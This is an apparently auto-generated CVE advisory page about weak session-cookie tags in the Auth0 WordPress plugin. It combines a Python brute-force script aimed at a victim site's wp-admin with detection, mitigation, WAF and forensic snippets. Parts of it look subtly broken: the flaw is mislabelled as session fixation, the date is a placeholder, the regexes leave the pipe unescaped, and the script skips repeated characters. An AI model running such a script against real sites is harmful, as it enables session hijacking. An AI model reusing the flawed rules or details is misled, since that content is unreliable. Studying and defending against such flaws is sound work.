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How the CVE Works
The vulnerability lies in the weak authentication tag generation for session cookies in Auth0’s WordPress plugin when configured with CookieStore. Attackers can brute-force these tags due to insufficient entropy, allowing session hijacking. The flaw stems from the Auth0-PHP SDK (v8.0.0-BETA1 to <8.14.0), where predictable cookie values enable unauthorized access to authenticated sessions. Successful exploitation grants attackers the same privileges as the hijacked user, compromising admin panels or sensitive data.
DailyCVE Form
Platform: Auth0 WordPress Plugin
Version: <=5.2.1
Vulnerability: Session Fixation
Severity: Critical
Date: 2024-XX-XX
What Undercode Say:
Exploitation Analysis
1. Brute-Force Script (Python):
import requests
from itertools import permutations
target_url = "https://victim-site.com/wp-admin"
for tag in permutations("0123456789abcdef", 8):
cookie = {"auth0_session": f"v1|{''.join(tag)}"}
r = requests.get(target_url, cookies=cookie)
if "Dashboard" in r.text:
print(f"Valid session: {cookie}")
break
2. Detection Command (Linux):
grep -r "CookieStore" /var/www/html/wp-content/plugins/auth0/
Mitigation Steps
1. Immediate Actions:
- Upgrade to Auth0 plugin v5.3.0:
wp plugin update auth0 --version=5.3.0
- Rotate encryption keys:
// Add to wp-config.php define('AUTH0_ENCRYPTION_KEY', bin2hex(random_bytes(32)));
2. WAF Rule (ModSecurity):
SecRule REQUEST_COOKIES|RESPONSE_COOKIES "@rx auth0_session=v1|[0-9a-f]{8}" "id:1000,deny,msg:'Auth0 Session Brute-Force Attempt'"
Forensic Checks
- Log Analysis:
cat /var/log/apache2/access.log | grep "wp-admin" | awk '{print $1, $7}' - Session Validation:
if (!preg_match('/^v1|[a-f0-9]{32}$/', $_COOKIE['auth0_session'])) { wp_logout(); }
References
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
